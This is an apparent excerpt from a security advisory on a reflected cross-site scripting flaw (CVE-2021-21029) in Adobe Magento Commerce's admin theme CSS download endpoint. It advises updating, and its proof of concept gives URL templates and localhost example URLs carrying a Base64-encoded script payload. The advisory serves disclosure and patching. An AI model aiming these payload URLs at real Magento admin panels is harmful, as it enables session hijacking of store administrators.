Business recommendation:
------------------------
Update to the latest version of Adobe Magento Commerce.

An in-depth security analysis performed by security professionals is highly
advised, as the software may be affected from further security issues.


Vulnerability overview/description:
-----------------------------------
1) Reflected Cross-Site Scripting (XSS) (CVE-2021-21029)
This vulnerability allows an unauthenticated user to inject malicious
client side script into the URL and send to the victim. The browser may
redirect the victim (e.g. admin) to the frontend page when visiting the URL,
the script will be executed after the victim visits the admin panel again.

This vulnerability has two different scenarios:
1. Security configuration "Add Secret Key to URLs" is enabled (default).
 - Admin panel path is required.
 - Key value (secret hash) in the URL is required.
 - User interaction is required (navigate back to the admin panel).

2. Security configuration "Add Secret Key to URLs" is disabled.
 - Admin panel path is required.
 - User interaction is required (navigate back to the admin panel).


Proof of concept:
-----------------
1) Reflected Cross-Site Scripting (XSS) (CVE-2021-21029)
The "file" parameter is vulnerable to reflected cross-site scripting
vulnerability. By sending the XSS payload in the Base64 encoded format
in the URL as follows:

1. Security configuration "Add Secret Key to URLs" is enabled (default).
URL format:
https://{baseURL}/{adminPath}/admin/system_design_theme/downloadCss/theme_id/{themeID}/file/{base64encoded_xss_payload}/key/{secret_hash}
Example URL:
https://127.0.0.1/index.php/admin/admin/system_design_theme/downloadCss/theme_id/1/file/PHNjcmlwdD5hbGVydCgnWFNTIGJ5IFNFQyBDb25zdWx0Jyk8L3NjcmlwdD4%3D/key/0f5d20e8559bb6f45e4840ceb6231870f3a8fe122698b37c32ceabbb33595813

2. Security configuration "Add Secret Key to URLs" is disabled.
URL format:
https://{baseURL}/{adminPath}/admin/system_design_theme/downloadCss/theme_id/{themeID}/file/{base64encoded_xss_payload}/
Example URL:
https://127.0.0.1/index.php/admin/admin/system_design_theme/downloadCss/theme_id/1/file/PHNjcmlwdD5hbGVydCgnWFNTIGJ5IFNFQyBDb25zdWx0Jyk8L3NjcmlwdD4%3D/
